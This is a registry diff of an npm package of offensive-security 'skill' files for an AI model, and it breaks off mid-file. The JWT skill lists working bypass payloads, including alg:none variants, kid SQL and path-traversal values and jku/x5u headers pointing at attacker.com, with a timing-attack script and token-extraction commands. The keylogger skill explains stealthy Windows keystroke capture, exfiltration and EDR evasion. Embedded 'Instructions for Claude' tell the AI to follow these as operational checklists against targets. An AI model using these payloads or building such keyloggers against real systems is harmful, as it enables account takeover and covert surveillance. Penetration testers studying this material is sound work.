@aegis-scan/skills 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ATTRIBUTION.md +75 -0
- package/CHANGELOG.md +129 -0
- package/LICENSE +21 -0
- package/README.md +123 -0
- package/dist/bin.d.ts +3 -0
- package/dist/bin.d.ts.map +1 -0
- package/dist/bin.js +122 -0
- package/dist/bin.js.map +1 -0
- package/dist/commands/info.d.ts +5 -0
- package/dist/commands/info.d.ts.map +1 -0
- package/dist/commands/info.js +75 -0
- package/dist/commands/info.js.map +1 -0
- package/dist/commands/install.d.ts +7 -0
- package/dist/commands/install.d.ts.map +1 -0
- package/dist/commands/install.js +87 -0
- package/dist/commands/install.js.map +1 -0
- package/dist/commands/list.d.ts +7 -0
- package/dist/commands/list.d.ts.map +1 -0
- package/dist/commands/list.js +82 -0
- package/dist/commands/list.js.map +1 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +13 -0
- package/dist/index.js.map +1 -0
- package/dist/skills-loader.d.ts +23 -0
- package/dist/skills-loader.d.ts.map +1 -0
- package/dist/skills-loader.js +213 -0
- package/dist/skills-loader.js.map +1 -0
- package/package.json +63 -0
- package/skills/defensive/README.md +9 -0
- package/skills/mitre-mapped/README.md +10 -0
- package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
- package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
- package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
- package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
- package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
- package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
- package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
- package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
- package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
- package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
- package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
- package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
- package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
- package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
- package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
- package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
- package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
- package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
- package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
- package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
- package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
- package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
- package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
- package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
- package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
- package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
- package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
- package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
- package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
- package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
- package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
- package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
- package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
- package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
- package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
- package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
- package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
- package/skills/ops/README.md +6 -0
|
@@ -0,0 +1,276 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: offensive-jwt
|
|
5
|
+
description: "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku/x5u/jwk header injection, JWKS cache poisoning, JWS/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps."
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
|
|
11
|
+
|
|
12
|
+
## Quick Reference: Misconfigurations to Check
|
|
13
|
+
|
|
14
|
+
- Algorithm set to `none` — signature verification bypassed entirely
|
|
15
|
+
- Algorithm switching between `RSA` and `HMAC` (confusion attack)
|
|
16
|
+
- Weak or guessable HMAC secret (brute-forceable)
|
|
17
|
+
- `kid`, `jku`, `jwk`, `x5u` header parameters accepted without validation
|
|
18
|
+
- Expired or tampered tokens accepted by server
|
|
19
|
+
- Sensitive data stored unencrypted in payload
|
|
20
|
+
|
|
21
|
+
Useful tool: [JWT Tool](https://github.com/ticarpi/jwt_tool)
|
|
22
|
+
|
|
23
|
+
## Mechanisms
|
|
24
|
+
|
|
25
|
+
JWTs (RFC 7519) consist of three Base64URL-encoded parts: `header.payload.signature`.
|
|
26
|
+
|
|
27
|
+
**Signing algorithms:**
|
|
28
|
+
|
|
29
|
+
| Algorithm | Type | Notes |
|
|
30
|
+
|-----------|------|-------|
|
|
31
|
+
| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
|
|
32
|
+
| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
|
|
33
|
+
| ES256/384/512 | Asymmetric ECDSA | |
|
|
34
|
+
| PS256/384/512 | RSASSA-PSS | |
|
|
35
|
+
| EdDSA (Ed25519/Ed448) | Asymmetric | |
|
|
36
|
+
| none | Unsigned | Critically insecure |
|
|
37
|
+
|
|
38
|
+
**Additional pitfalls:**
|
|
39
|
+
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`/`cty`
|
|
40
|
+
- JWKS retrieval: SSRF via `jku`/`x5u`, insecure TLS, poisoned key caching, `kid` collisions
|
|
41
|
+
- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
|
|
42
|
+
|
|
43
|
+
## Hunt: Identifying JWT Usage
|
|
44
|
+
|
|
45
|
+
1. Check `Authorization: Bearer <token>` headers in all requests
|
|
46
|
+
2. Look for cookies containing JWT structures (`eyJ...`)
|
|
47
|
+
3. Examine browser local/session storage
|
|
48
|
+
4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
|
|
49
|
+
5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces
|
|
50
|
+
|
|
51
|
+
## Vulnerability Map
|
|
52
|
+
|
|
53
|
+
```
|
|
54
|
+
JWT Vulnerabilities
|
|
55
|
+
├── Algorithm Bypass
|
|
56
|
+
│ ├── alg:none attack
|
|
57
|
+
│ └── RS256→HS256 confusion (public key as HMAC secret)
|
|
58
|
+
├── Weak Secret Key → Brute force
|
|
59
|
+
├── kid Parameter Injection
|
|
60
|
+
│ ├── SQL injection via kid
|
|
61
|
+
│ └── Path traversal via kid
|
|
62
|
+
├── Header Injection
|
|
63
|
+
│ ├── jwk (inline fake key)
|
|
64
|
+
│ ├── jku/x5u (remote attacker-controlled JWKS)
|
|
65
|
+
│ └── JWKS cache poisoning
|
|
66
|
+
└── Missing / Broken Validation
|
|
67
|
+
├── No signature check
|
|
68
|
+
├── Expired tokens accepted
|
|
69
|
+
└── iss/aud/exp not validated
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## Vulnerabilities
|
|
73
|
+
|
|
74
|
+
### Algorithm Vulnerabilities
|
|
75
|
+
|
|
76
|
+
- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)
|
|
77
|
+
- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key
|
|
78
|
+
- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths / SQL; enforce strict lookups
|
|
79
|
+
|
|
80
|
+
### Signature Vulnerabilities
|
|
81
|
+
|
|
82
|
+
- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat
|
|
83
|
+
- **Missing Signature Validation** — Token accepted without any verification
|
|
84
|
+
- **Broken Validation** — Implementation errors in signature checking logic
|
|
85
|
+
|
|
86
|
+
### Implementation Issues
|
|
87
|
+
|
|
88
|
+
- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified
|
|
89
|
+
- **Insufficient Entropy** — Predictable JWT IDs or tokens
|
|
90
|
+
- **No Expiration** — Tokens valid indefinitely
|
|
91
|
+
- **Insecure Transport** — Token sent over HTTP
|
|
92
|
+
- **Debug Leakage** — Detailed error messages expose implementation
|
|
93
|
+
|
|
94
|
+
### Header Injection Attacks
|
|
95
|
+
|
|
96
|
+
- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header
|
|
97
|
+
- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint
|
|
98
|
+
- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
|
|
99
|
+
- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation
|
|
100
|
+
- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass
|
|
101
|
+
|
|
102
|
+
### Information Disclosure
|
|
103
|
+
|
|
104
|
+
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
|
|
105
|
+
- Internal service/backend information leaked via claims
|
|
106
|
+
|
|
107
|
+
## Additional Attack Vectors
|
|
108
|
+
|
|
109
|
+
### Mobile App JWT Storage
|
|
110
|
+
|
|
111
|
+
**Android:**
|
|
112
|
+
- `SharedPreferences`: Check if world-readable; location `/data/data/<package>/shared_prefs/`
|
|
113
|
+
- Keystore extraction: root device or exploit app
|
|
114
|
+
- Backup extraction: `adb backup -f backup.ab <package>` (if `allowBackup=true`)
|
|
115
|
+
- Tools: Frida, objection, MobSF
|
|
116
|
+
|
|
117
|
+
**iOS:**
|
|
118
|
+
- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure
|
|
119
|
+
- iTunes/iCloud backup extraction: unencrypted backups expose Keychain
|
|
120
|
+
- Jailbreak + Keychain-Dumper for full extraction
|
|
121
|
+
- Tools: Frida, objection, idb
|
|
122
|
+
|
|
123
|
+
**React Native / Hybrid:**
|
|
124
|
+
- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Android — check SharedPreferences
|
|
128
|
+
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
|
|
129
|
+
|
|
130
|
+
# iOS — extract from backup
|
|
131
|
+
idevicebackup2 backup --full /path/to/backup
|
|
132
|
+
# Use plist/sqlite tools to extract JWT
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
### JWT Confusion Attacks
|
|
136
|
+
|
|
137
|
+
- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
|
|
138
|
+
- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa
|
|
139
|
+
- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session
|
|
140
|
+
- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Try API key where JWT expected
|
|
144
|
+
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
|
|
145
|
+
|
|
146
|
+
# Try JWT where API key expected
|
|
147
|
+
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### Timing Attacks on HMAC
|
|
151
|
+
|
|
152
|
+
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
|
|
153
|
+
|
|
154
|
+
```python
|
|
155
|
+
import requests, time
|
|
156
|
+
|
|
157
|
+
def time_request(signature):
|
|
158
|
+
start = time.perf_counter()
|
|
159
|
+
r = requests.get('https://target/api',
|
|
160
|
+
headers={'Authorization': f'Bearer header.payload.{signature}'})
|
|
161
|
+
return time.perf_counter() - start
|
|
162
|
+
|
|
163
|
+
# Brute-force first byte — longer response time indicates correct byte
|
|
164
|
+
for byte in range(256):
|
|
165
|
+
sig = bytes([byte]) + b'\x00' * 31
|
|
166
|
+
t = time_request(sig.hex())
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### JWT in URL Parameters
|
|
170
|
+
|
|
171
|
+
- Tokens in GET URLs appear in server logs, proxy logs, browser history
|
|
172
|
+
- Leaked via `Referer` header to external sites; CDN/cache logs may persist tokens
|
|
173
|
+
|
|
174
|
+
```bash
|
|
175
|
+
curl "https://api.target/resource?token=eyJ..."
|
|
176
|
+
curl "https://api.target/resource?access_token=eyJ..."
|
|
177
|
+
curl "https://api.target/resource?jwt=eyJ..."
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
|
|
181
|
+
|
|
182
|
+
## Manual Testing Steps
|
|
183
|
+
|
|
184
|
+
1. **Decode and Inspect:**
|
|
185
|
+
```
|
|
186
|
+
base64url_decode(header) . base64url_decode(payload) . signature
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
2. **Test `none` Algorithm** (try all case variants):
|
|
190
|
+
```
|
|
191
|
+
{"alg":"none","typ":"JWT"}.payload.""
|
|
192
|
+
{"alg":"None","typ":"JWT"}.payload.""
|
|
193
|
+
{"alg":"NONE","typ":"JWT"}.payload.""
|
|
194
|
+
{"alg":"nOnE","typ":"JWT"}.payload.""
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
3. **Algorithm Confusion (RS256→HS256):**
|
|
198
|
+
```
|
|
199
|
+
# Re-sign with RSA public key used as HMAC secret
|
|
200
|
+
{"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
4. **kid Parameter Attacks:**
|
|
204
|
+
```
|
|
205
|
+
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
|
|
206
|
+
{"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
|
|
207
|
+
{"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
5. **JWK/JKU Injection:**
|
|
211
|
+
```
|
|
212
|
+
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
|
|
213
|
+
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
6. **x5u / crit Handling:**
|
|
217
|
+
```
|
|
218
|
+
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
|
|
219
|
+
{"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
7. **Brute Force HMAC Secret:**
|
|
223
|
+
```bash
|
|
224
|
+
python3 jwt_tool.py <token> -C -d wordlist.txt
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
8. **Test Missing Claim Validation:**
|
|
228
|
+
- Remove or modify `exp` (expiration)
|
|
229
|
+
- Change `iss` (issuer) or `aud` (audience)
|
|
230
|
+
- Modify `iat` (issued at) or `nbf` (not before)
|
|
231
|
+
|
|
232
|
+
## Automated Testing with JWT_Tool
|
|
233
|
+
|
|
234
|
+
```bash
|
|
235
|
+
# Basic token inspection
|
|
236
|
+
python3 jwt_tool.py <token>
|
|
237
|
+
|
|
238
|
+
# Full vulnerability scan
|
|
239
|
+
python3 jwt_tool.py <token> -M all
|
|
240
|
+
|
|
241
|
+
# Targeted attacks
|
|
242
|
+
python3 jwt_tool.py <token> -X a # Algorithm confusion
|
|
243
|
+
python3 jwt_tool.py <token> -X n # Null/none signature
|
|
244
|
+
python3 jwt_tool.py <token> -X i # Identity theft
|
|
245
|
+
python3 jwt_tool.py <token> -X k # Key confusion
|
|
246
|
+
|
|
247
|
+
# Crack HMAC secret
|
|
248
|
+
python3 jwt_tool.py <token> -C -d wordlist.txt
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
**Other tools:**
|
|
252
|
+
- JWT.io — basic token inspection and debugging
|
|
253
|
+
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
|
|
254
|
+
- jwtXploiter — advanced JWT vulnerability scanning
|
|
255
|
+
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
|
|
256
|
+
- Frida, objection, MobSF — mobile JWT extraction
|
|
257
|
+
|
|
258
|
+
## Remediation Recommendations
|
|
259
|
+
|
|
260
|
+
- Use short-lived access tokens; rotate refresh tokens frequently
|
|
261
|
+
- Always validate `aud` (audience) and `iss` (issuer) claims
|
|
262
|
+
- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client/issuer
|
|
263
|
+
- Ensure key material loaded for verification matches `alg`; reject mismatches
|
|
264
|
+
- Reject tokens with unknown `crit` header parameters
|
|
265
|
+
- Validate JWKS over pinned TLS; disallow remote `jku`/`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness
|
|
266
|
+
- Enforce maximum token length; disable JWE compression unless required
|
|
267
|
+
- Maintain server-side deny-list keyed by `jti` for early revocation
|
|
268
|
+
- For DPoP tokens (`typ:"dpop+jwt"`): verify proof binds to HTTP request; enforce one-time nonce use
|
|
269
|
+
- Bind sessions to device when possible; rotate refresh tokens on every use
|
|
270
|
+
- Prefer `SameSite=Lax/Strict` HttpOnly cookies for web; avoid localStorage for access tokens
|
|
271
|
+
|
|
272
|
+
## Alternatives & Modern Mitigations
|
|
273
|
+
|
|
274
|
+
- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks
|
|
275
|
+
- **Macaroons** — bearer tokens with attenuable, caveat-based delegation
|
|
276
|
+
- **DPoP and mTLS** — bind tokens to the client to prevent replay
|
|
@@ -0,0 +1,197 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# SKILL: Novel research
|
|
4
|
+
|
|
5
|
+
## Metadata
|
|
6
|
+
- **Skill Name**: keylogger-architecture
|
|
7
|
+
- **Folder**: offensive-keylogger-arch
|
|
8
|
+
- **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/Low-level%20Keylogger%20architecture_.md
|
|
9
|
+
|
|
10
|
+
## Description
|
|
11
|
+
Low-level keylogger architecture design: kernel driver hooks (WH_KEYBOARD_LL, SetWindowsHookEx), ETW-based input capture, user-mode vs kernel-mode approaches, stealth techniques, and data exfiltration. Use for understanding input capture mechanisms, EDR evasion research, or malware architecture analysis.
|
|
12
|
+
|
|
13
|
+
## Trigger Phrases
|
|
14
|
+
Use this skill when the conversation involves any of:
|
|
15
|
+
`keylogger, keyboard hook, WH_KEYBOARD_LL, SetWindowsHookEx, ETW, kernel driver, input capture, low-level keylogger, malware architecture, stealth, exfiltration`
|
|
16
|
+
|
|
17
|
+
## Instructions for Claude
|
|
18
|
+
|
|
19
|
+
When this skill is active:
|
|
20
|
+
1. Load and apply the full methodology below as your operational checklist
|
|
21
|
+
2. Follow steps in order unless the user specifies otherwise
|
|
22
|
+
3. For each technique, consider applicability to the current target/context
|
|
23
|
+
4. Track which checklist items have been completed
|
|
24
|
+
5. Suggest next steps based on findings
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## Full Methodology
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
Case study of different keylogger implementations, how to implement them and their individual IOCs.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
## SetWindowHookEx
|
|
36
|
+
Majority of malware uses user32.dll!SetWindowHookEx to create a global hook event. this modifies an internal structure in `win32k.sys`.
|
|
37
|
+
Internally, `SetWindowsHookEx` is just a user-mode wrapper around `NtUserSetWindowsHookEx` (which itself wraps around `zzzzNtUserSetWindowsHookEx`) in `win32k.sys`. What happens after you call it depends on the **hook type** you request but the sequence is always the same four steps:
|
|
38
|
+
|
|
39
|
+
1. **Validate and allocate a hook record**
|
|
40
|
+
`win32k.sys` creates an internal `HOOK` structure, fills in the filter type, module handle, thread/desktop IDs, and inserts the structure at the **head of the global hook chain** for that type
|
|
41
|
+
2. **Decide whether the hook procedure must live in the target process**
|
|
42
|
+
- **Low-level hooks (`WH_KEYBOARD_LL`, `WH_MOUSE_LL`)**
|
|
43
|
+
– **NO** injection.
|
|
44
|
+
– The system leaves the hook DLL in the **original caller’s address space** and simply delivers the event to that process via an internal `WM_*` message posted to its **hidden “ghost” window** .
|
|
45
|
+
- **All other global hooks (`WH_KEYBOARD`, `WH_CBT`, `WH_GETMESSAGE`, …)**
|
|
46
|
+
– **YES** injection required.
|
|
47
|
+
– For every process that satisfies the filter (same desktop, matching bitness),
|
|
48
|
+
- In/before Vista: `win32k` queues an **asynchronous load request** to `csrss.exe`, which in turn calls `LoadLibraryEx` inside the target process, mapping the hook DLL and fixing up its entry point.
|
|
49
|
+
- After Vista: The target process is added to a **pending-load list** inside `win32k`; the **first user-mode exit** from kernel to that process takes the APC and calls `LdrLoadDll` directly.
|
|
50
|
+
– The first time the target thread is about to return to user mode, the kernel **APCs** the loader, so the DLL’s `DllMain` runs in the context of the victim process.
|
|
51
|
+
|
|
52
|
+
3. **Event routing at runtime**
|
|
53
|
+
When the monitored event occurs (key press, window activation, etc.), `win32k` walks the hook chain **inside the thread that owns the input queue**.
|
|
54
|
+
- If the hook procedure lives in that process, the kernel simply **calls the address** inside the injected DLL.
|
|
55
|
+
- If the procedure lives in another process (low-level case), the kernel **marshals the raw parameters** (`KBDLLHOOKSTRUCT` / `MSLLHOOKSTRUCT`) into an internal message and posts it to the **installing thread’s message queue**.
|
|
56
|
+
That thread must keep pumping messages; otherwise, the system **blocks all further input** for the desktop, which is why low-level hooks are so easy to detect by their side-effect on system responsiveness.
|
|
57
|
+
|
|
58
|
+
4. **Mandatory `CallNextHookEx`**
|
|
59
|
+
Each hook handler **must** call `CallNextHookEx` to pass control down the chain.
|
|
60
|
+
Internally, `CallNextHookEx` is just a call back into `win32k`, which continues the chain walk; if any handler fails to call it, the chain is broken and subsequent handlers never run. This might break input for the whole session.
|
|
61
|
+
#### TLDR
|
|
62
|
+
- **Low-level hooks** look stealthy because **no foreign code is mapped**, but they **pin the installing thread** and are trivially detected by their **message-queue footprint**.
|
|
63
|
+
- **Regular global hooks** achieve **true code injection** without `WriteProcessMemory` or `CreateRemoteThread`, but they **leave a mapped DLL** behind in every hooked process. Easy VAD artefact for EDRs.
|
|
64
|
+
- most EDRs avoid exhaustive VAD walks for every process on every event due to performance, but many will do targeted scans on on suspicious events (allocation > 64 kB, RWX, etc.).
|
|
65
|
+
- The **hook chain is global per desktop**: once installed, your procedure sees **every qualifying event** on that desktop, which is why a single call can key-log the whole user session.
|
|
66
|
+
### IOCs:
|
|
67
|
+
- Could be caught by a hook in user32
|
|
68
|
+
- Additional entry in the VAD (EDRs can check if the DLL is signed),
|
|
69
|
+
- Mapped or on-disk DLL
|
|
70
|
+
- Is it signed?
|
|
71
|
+
- Memory scanners could detect non-backed-by-disk executable memory.
|
|
72
|
+
- Does it have anything to do here?
|
|
73
|
+
- Could be bypassed by ovewriting a present, mapped DLL with our memory?
|
|
74
|
+
- Would need to prevent user from interacting with keyboard while it happens.
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
## NtUserSetWindowsHookEx / zzzzNtUserSetWindowsHookEx
|
|
79
|
+
Same as above but you're directly calling the lower-level function. Same IOCs, really. You're only bypassing potential hooks in user32.dll.
|
|
80
|
+
The full logic of these functions could be reimplemented fully without a jump to external modules but it has too much IOCs and is too complex to implement to really be interesting.
|
|
81
|
+
|
|
82
|
+
**Session boundary**: raw-input registration is **per-session**, not per-desktop.
|
|
83
|
+
A service in session-0 **cannot** register for keyboard raw-input and expect to see session-1 keystrokes – the HID packets are **routed to the session that owns the target HWND**.
|
|
84
|
+
(You **can** open the **physical keyboard device object** directly and parse HID, but that is a **completely different attack surface** – needs admin, bypasses win32k.)
|
|
85
|
+
|
|
86
|
+
### IOCs:
|
|
87
|
+
- Additional entry in the VAD (EDRs can check if the DLL is signed),
|
|
88
|
+
- ^ only theorical. No EDR implements this afaik
|
|
89
|
+
- Mapped or on-disk DLL
|
|
90
|
+
- Is it signed?
|
|
91
|
+
- Memory scanners could detect non-backed-by-disk executable memory.
|
|
92
|
+
- Does it have anything to do here?
|
|
93
|
+
|
|
94
|
+
---
|
|
95
|
+
### NtUserRegisterRawInputDevices / RegisterRawInputDevices
|
|
96
|
+
|
|
97
|
+
tells the window manager to **deliver raw HID packets** to **one specific HWND** (or to the thread whose queue the window is attached to)
|
|
98
|
+
|
|
99
|
+
Practical abuse scenario
|
|
100
|
+
1. Start a **background thread** in our process or implement a `PeekMessage` / `GetMessage` loop.
|
|
101
|
+
2. Create a **zero-sized message-only window** (`HWND_MESSAGE`).
|
|
102
|
+
3. Register keyboard raw-input with `RIDEV_INPUTSINK` – > this routes **all keyboard traffic** to our window **even when it is not in the foreground** .
|
|
103
|
+
4. Pump the thread’s message queue forever; in the `WM_INPUT` handler call `GetRawInputData` and log the `RAWKEYBOARD` payload.
|
|
104
|
+
5. exfil
|
|
105
|
+
6. Profit?
|
|
106
|
+
|
|
107
|
+
Because no hook is installed, this technique:
|
|
108
|
+
- does **not** appear in `WinDbg`’s `!hook` list
|
|
109
|
+
- leaves **no cross-process DLL mapping**
|
|
110
|
+
- is **invisible to most EDR “hook chain” sensors**
|
|
111
|
+
|
|
112
|
+
this **still requires your process to stay alive and message-aware**, and it **cannot key-log from sessions it is not running in**.
|
|
113
|
+
|
|
114
|
+
Kernel-mode implementation:
|
|
115
|
+
1. Sets an oplock to prevent race conditions
|
|
116
|
+
2. Validates parameters
|
|
117
|
+
3. `Win32AllocPoolWithQuotaZInit`
|
|
118
|
+
Allocates a **kernel copy** of the array
|
|
119
|
+
4. `RegisterRawInputDevices(v9, a2, 0)`
|
|
120
|
+
Calls the **INTERNAL worker** (see below).
|
|
121
|
+
It walks the array, updates the **per-thread raw-input hook list**,
|
|
122
|
+
tells **hidclass** which top-level windows want raw HID traffic, etc.
|
|
123
|
+
5. `EtwTraceAuditApiRegisterRawInputDevices`
|
|
124
|
+
Emits an **ETW** event for **Audit/Threat-Intelligence** so that defenders can see which process just asked for raw keyboard data (keylogger-style activity).
|
|
125
|
+
6. Cleanup
|
|
126
|
+
|
|
127
|
+
The internal worker modifies our process's EPROCESS structure. This makes it so that we can't re-implement this from user-mode.
|
|
128
|
+
|
|
129
|
+
### IOCs:
|
|
130
|
+
- Raises ETW event from kernel-mode win32kfull.sys driver.
|
|
131
|
+
- **NOT AVOIDABLE!**
|
|
132
|
+
- Do AVs/EDRs really monitor it though?
|
|
133
|
+
- Rumors have it that Defender does since 20H1.
|
|
134
|
+
- The ETW payload contains **PID, TID, UsagePage, Usage, Flags** – enough to **trivially score** “key-board raw-input from a non-interactive process” as **suspicious**.
|
|
135
|
+
- Channel is **on by default** and **cannot be disabled** without patching the kernel.
|
|
136
|
+
→ **This is the strongest IOC** for this technique; **do not discount it**.
|
|
137
|
+
- **Raw-input must have a window station and desktop** – the call **fails** (`ERROR_INVALID_WINDOW_HANDLE`) if the thread is **not connected to a desktop**. Services running in session-0 with **no desktop** therefore **cannot** use this path; they **must** either:
|
|
138
|
+
– create a **hidden desktop** (logged by **Object Manager auditing**), or
|
|
139
|
+
– open the **\Device\KeyboardClass0** device directly (creates **IRP_MJ_READ** telemetry).
|
|
140
|
+
- Maybe less noisy?
|
|
141
|
+
Both are **easy to alert on**.
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Capturing current window's name
|
|
146
|
+
|
|
147
|
+
To filter for interesting keystrokes you may only monitor keystrokes from Chrome.exe \ firefox.exe, etc.
|
|
148
|
+
|
|
149
|
+
Different methods of doing that:
|
|
150
|
+
### GetWindowTextA
|
|
151
|
+
- The most detected function ever, every skid keylogger calls it.
|
|
152
|
+
- Eventually wraps around `NtUserInternalGetWindowText`.
|
|
153
|
+
- Not much else to say.
|
|
154
|
+
|
|
155
|
+
### NtUserInternalGetWindowText
|
|
156
|
+
- Much less detected because its a very low-level function
|
|
157
|
+
- Same signature as **GetWindowTextW**
|
|
158
|
+
- Defined in `Win32kFull.sys`.
|
|
159
|
+
- DLL: `win32u.dll`
|
|
160
|
+
|
|
161
|
+
Reverse-engineering this was very tedious because the only references of this online seem to be:
|
|
162
|
+
```C
|
|
163
|
+
BOOL InternalGetWindowText(HWND hwnd, LPWSTR pString, int cchMaxCount) {
|
|
164
|
+
